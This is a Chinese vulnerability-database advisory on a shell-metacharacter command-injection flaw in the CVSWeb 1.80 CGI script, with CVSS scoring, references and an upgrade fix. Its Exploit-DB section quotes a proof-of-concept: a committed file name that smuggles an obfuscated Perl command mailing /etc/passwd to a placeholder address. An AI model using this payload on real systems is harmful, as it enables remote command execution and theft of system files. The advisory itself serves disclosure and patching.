发布时间 :2000-07-12 00:00:00
修订时间 :2008-09-10 15:05:34

[原文]The cvsweb CGI script in CVSWeb 1.80 allows remote attackers with write access to a CVS repository to execute arbitrary commands via shell metacharacters.

[CNNVD]CVSWeb不安全perl "open"漏洞(CNNVD-200007-033)

        CVSWeb 1.80版本中cvsweb CGI脚本存在漏洞。带有到CVS储存器的写访问的远程攻击者借助shell元字符来执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  XF  cvsweb-shell-access
(VENDOR_ADVISORY)  BUGTRAQ  20000714 MDKSA-2000:019 cvsweb update
(UNKNOWN)  BID  1469
(UNKNOWN)  BUGTRAQ  20000712 cvsweb: remote shell for cvs committers

- 漏洞信息

CVSWeb不安全perl "open"漏洞
高危 输入验证
2000-07-12 00:00:00 2005-05-02 00:00:00
        CVSWeb 1.80版本中cvsweb CGI脚本存在漏洞。带有到CVS储存器的写访问的远程攻击者借助shell元字符来执行任意命令。

- 公告与补丁

        Upgrade to at least version 1.86 available from
        Fixed in: Debian 2.1 (slink):
        Architecture-independent binary:
        Debian 2.2 (potato):
        Architecture-independent binary:
        CVSWeb Developer CVSWeb 1.80

- 漏洞信息 (20073)

CVSWeb Developer CVSWeb 1.80 insecure perl "open" Vulnerability (EDBID:20073)
unix local
2000-07-12 Verified
0 Joey Hess
N/A [点击下载]

Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")

An attack looks something like this:

SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE

Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here].		

- 漏洞信息

CVSWeb cvsweb.cgi Shell Metacharacter Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-07-14 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.86 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete